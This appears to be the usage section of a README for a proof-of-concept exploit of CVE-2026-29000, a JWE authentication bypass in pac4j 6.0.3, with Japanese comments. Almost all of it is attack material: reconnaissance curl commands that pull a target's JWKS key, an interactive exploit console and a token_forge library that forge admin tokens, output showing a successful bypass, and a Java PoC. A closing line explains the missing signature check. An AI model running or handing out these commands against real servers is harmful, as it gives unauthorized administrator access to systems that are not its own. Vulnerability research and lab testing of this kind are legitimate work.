git clone https://github.com/kernelzeroday/CVE-2026-29000.git
cd CVE-2026-29000

# Linux / macOS
python -m venv .venv && source .venv/bin/activate

# Windows
python -m venv .venv && .venv\Scripts\activate

pip install -r requirements.txt

docker compose up -d lab

curl -sI http://localhost:8080 | grep X-Powered-By
# X-Powered-By: pac4j/6.0.3

docker compose down

python scripts/exploit.py

# またはコマンドラインから事前設定:
python scripts/exploit.py --rhost 192.168.1.31 --rport 8080

jwe-bypass > set RHOST 192.168.1.31
[+] RHOST => 192.168.1.31

jwe-bypass > check
[*] Checking http://192.168.1.31:8080 ...
[+] HTTP 200
[+] X-Powered-By: pac4j/6.0.3
[+] Target appears VULNERABLE (pac4j detected)

jwe-bypass > set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
[+] PUBKEY => http://192.168.1.31:8080/.well-known/jwks.json

jwe-bypass > run

[1/3] Loading RSA public key ...
[+] Public key loaded
[2/3] Forging JWE token (CVE-2026-29000) ...
[+] Token forged (606 chars)
[3/3] Verifying auth bypass on /api/profile ...
[+] Authenticated as: pwned   roles: ['ROLE_ADMIN']

  Auth bypass successful!

  Open in your browser:

  http://192.168.1.31:8080/admin?token=eyJ...

# 1. JWKS URL — 自動フェッチ (推奨)
set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json

# 2. ダウンロード済みファイル
set PUBKEY /tmp/key.json

# 3. 生の JSON を直接貼り付け
set PUBKEY {"kty":"RSA","n":"...","e":"AQAB"}

# レスポンスヘッダーからフレームワークを検出
curl -sI http://TARGET:8080

# 隠しエンドポイントを探索
curl -s http://TARGET:8080/robots.txt

# RFC 8414: pac4j は常にこのエンドポイントを公開
curl -s http://TARGET:8080/.well-known/openid-configuration

# jwks_uri から RSA 公開鍵を取得
curl -s http://TARGET:8080/.well-known/jwks.json

python -m token_forge \
  --jwks-url http://TARGET:8080/.well-known/jwks.json \
  --subject attacker \
  --roles ROLE_ADMIN

TOKEN=$(python -m token_forge \
  --jwks-url http://TARGET:8080/.well-known/jwks.json \
  --roles ROLE_ADMIN 2>/dev/null)

# バイパスを確認
curl -s -H "Authorization: Bearer $TOKEN" http://TARGET:8080/api/profile

# ブラウザで管理ダッシュボードを開く
echo "http://TARGET:8080/admin?token=$TOKEN"

from token_forge import forge_token, load_public_key_from_jwks_url

key   = load_public_key_from_jwks_url("http://TARGET:8080/.well-known/jwks.json")
token = forge_token(key, subject="attacker", roles=["ROLE_ADMIN"], exp_sec=3600)
print(token)

cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# [BYPASS] Authenticated as: admin#override
# [BYPASS] Roles: [ROLE_ADMIN, ROLE_SUPERUSER]

# トークンのみ出力
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"

pytest tests/ -v

# カバレッジレポート付き
pytest tests/ -v --cov=token_forge --cov-report=term-missing

JWE decrypt → payload 取得 → base64decode → json.loads → claims を信頼
                                         ↑ 内部 JWT の署名検証ステップが欠落